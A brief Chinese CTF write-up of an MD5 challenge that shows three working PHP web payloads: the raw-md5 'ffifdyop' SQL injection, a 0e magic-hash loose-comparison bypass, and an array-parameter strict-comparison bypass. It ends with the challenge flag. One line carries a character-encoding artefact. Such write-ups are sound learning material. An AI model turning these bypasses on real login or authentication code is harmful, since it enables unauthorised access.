打开环境
一个简单的页面
查看源代码
一个get传参,随便输入试试看
输入1,1",1',均无反应,每次遇到这种有输入框的都以为是sql注入,但是题目为md5
标头里面看到提示select * from 'admin' where password=md5($pass,true)
搜索相关漏洞,得到提示,输入特定字符ffifdyop
原字符为ffifdyop
md5加密后结果为276F722736C95D99E921722CF9ED621C
转16进制为
于是拼接为
select * from 'admin' where password='or'6ɝ⬹�
or后面的不是0即为1,返回值即为true
输入ffifdyop得到如下界面
进入源代码界面查看
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
需要传参a和b
考点为md5弱类型,为0e开头的会被识别为科学记数法,结果均为0
所以也需要md5后开头为0e的特定字符
构造payload
?a=QNKCDZO&b=s878926199a
输入后跳转新界面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
考的是MD5强碰撞,如果传参不是字符串,而是数组,md5()函数无法解出数值,就会得到===强比较的值相等
payload如下
param1[]=1¶m2[]=2
得到flag
flag{215abb44-9a26-4e38-b075-22515fc59542}